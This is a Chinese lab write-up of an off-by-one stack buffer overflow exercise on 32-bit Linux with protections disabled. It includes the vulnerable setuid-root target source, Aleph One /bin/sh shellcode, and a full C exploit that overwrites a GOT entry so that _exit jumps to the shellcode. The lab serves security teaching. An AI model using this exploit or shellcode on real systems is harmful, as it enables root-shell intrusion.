最近在做缓冲区溢出实验,总共有6个
shellcode.h
shellcode的作用是运行一个/bin/sh
/*
* Aleph One shellcode.45个字节
*/
static const char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
源代码vul5.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void nstrcpy(char *out, int outl, char *in)
{
int i, len;
len = strlen(in);
if (len > outl)
len = outl;
for (i = 0; i <= len; i++)
out[i] = in[i];
}
void bar(char *arg)//以上和vul2一样,可溢出最后一位改变ebp
{
char buf[200];
nstrcpy(buf, sizeof buf, arg);
}
void foo(char *argv[])
{
int *p;
int a = 0;
p = &a;//p指向a的地址
bar(argv[1]);
*p = a;//p指向地址的值为a,可改变p指向地址的值
_exit(0);//若想达到目的需要设法跳过这条语句
/* not reached */
}
int main(int argc, char *argv[])
{
if (argc != 2)
{
fprintf(stderr, "target6: argc != 2\n");
exit(EXIT_FAILURE);
}
setuid(0);
foo(argv);
return 0;
}
攻击代码
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "shellcode.h"
#define TARGET "/mnt/hgfs/sourcecode/proj1/vulnerables/vul6"
int main(void)
{
char payload[201];
memset(payload,'\x90',35);
memcpy(payload + 35,shellcode,45);
memset(payload + 80,'\x90',52);
memcpy(payload + 132,"\x74\xfc\xff\xbf\x0c\xa0\x04\x08",8);
memset(payload + 140,'\x90',60);
payload[200] = '\x00';
//结构共201个字节
//35字节NOP+45字节shellcode+52字节NOP+
//4个字节a的值(返回地址)+4个字节p指针(指向0x804a00c)+60字节NOP+1个字节'\x00'
char *args[] = { TARGET, payload , NULL};//定义运行参数
char *env[] = { NULL };
execve(TARGET, args, env);
fprintf(stderr, "execve failed.\n");
return 0;
}
简单原理说明
缓冲区溢出通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的。
造成缓冲区溢出的主要原因是程序中没有仔细检查用户输入的参数是否合法。
环境声明
LINUX 32位系统
本任务所以实验均在关闭ASLR、NX等保护机制的情况下进行:
- 关闭地址随机化功能:
echo 0 > /proc/sys/kernel/randomize_va_space2. - gcc编译器默认开启了NX选项,如果需要关闭NX(DEP)选项,可以给gcc编译器添加-z execstack参数。
gcc -z execstack -o test test.c - 在编译时可以控制是否开启栈保护以及程度,
gcc -fno-stack-protector -o test test.c //禁用栈保护
gcc -fstack-protector -o test test.c //启用堆栈保护,不过只为局部变量中含有char数组的函数插入保护代码
gcc -fstack-protector-all -o test test.c //启用堆栈保护,为所有函数插入保护代码
实验过程
本实验总体结构和实验二比较相似,而不同之处在于foo()函数中,多了一个指针变量p与一个常量a:
- 确定溢出目标:
由实验二可知,通过nstrcpy()函数可以修改foo函数ebp的值,而变量p与a的位置是根据ebp决定的:
而根据foo()函数,我们可以知道,存在修改p指向地址空间的值的可能性,而p指向的地址为p指针地址(ebp-4)中存储的地址,修改的值即为a,其地址为ebp-8.
而foo()函数中,最终会执行_exit()函数,所以我们需要设法绕过此函数。
故而,溢出攻击的基本思路为:通过nstrcpy()函数一个字节的溢出,改变foo函数ebp的值,并通过payload的构造,使得p指向一个特定的地址,并通过构造a的值来修改特定地址中的内容,最终劫持_exit()函数的控制流以执行shellcode。 - 构造shellcode:
A. 首先,我们通过GDB调试vul6.c编译出的程序,可以发现,原来foo函数的EBP为0xbffffd50:
而buf的首地址为0xbffffc74,其范围为0xbffffc74-0xbffffd3c大小为200个字节:
由上信息易知,如果改变ebp的最后一位,可以使得ebp出现在buf中间,且离buf的边界越远越好。
B. 第二步,由实验二可知,我们可以通过将第201字节置为’\x00’从而使得foo函数的ebp修改成0xbffffd00,距离buf尾部(0xbffffd3c)60个字节(0x3c=60):
而我们知道指针p的地址位于ebp-4,变量a的地址位于ebp-8,所以接下来我们要设法修改p指向地址的值为a,从而达到绕过_exit()函数执行shellcode的目的。
C. 第三步,查看foo函数的汇编代码,找到需要修改的目标地址:
此处本来有直接修改地址0x080485a5中的指令为0x9090c3c9的想法(0xc3为ret指令,0xc9为leave指令),但是由于**.text段只读属性**,故而修改未果。
于是只能继续跟踪_exit()函数的调用,可以看到,它将执行位于0x08048390处的代码:
可以看到,_exit()跳转的代码处第一个指令为jmp,而这条指令jmp到的目标为地址0x804a00c中存储的值。
所以,这就与指针p与a可以对应起来,也就是说,我们可以通过构造指针p使得p指向地址0x804a00c,并修改该地址中的内容为a,使得该地址中的值为shellcode的入口地址,从而使得_exit()函数执行后,自动跳转到我们构造的shellcode执行。
D. 构造payload:
Payload结构共201个字节
组成:35字节NOP + 45字节shellcode + 52字节NOP + 4个字节a的值(返回地址) + 4个字节p指针(指向0x804a00c) + 60字节NOP + 1个字节’\x00’
- 编译并执行,结果如下所示:
可见,成功执行了shellcode,溢出执行成功。
总结
此实验与实验二的十分相似,差别在于在foo函数之中多了一个指针变量p与一个常量a,并且在执行完nstrcpy()函数之后,执行了*p=a的语句,而p与a的位置与ebp的相对关系不变,所以这就给了我们修改任意地址任意值的可能性(有效地址),而在之后通过跟踪_exit()函数,知道它利用jmp指令去跳到一个指针中存放的地址,故而通过修改其jmp的指针中的地址,最终直接jmp到了payload执行shellcode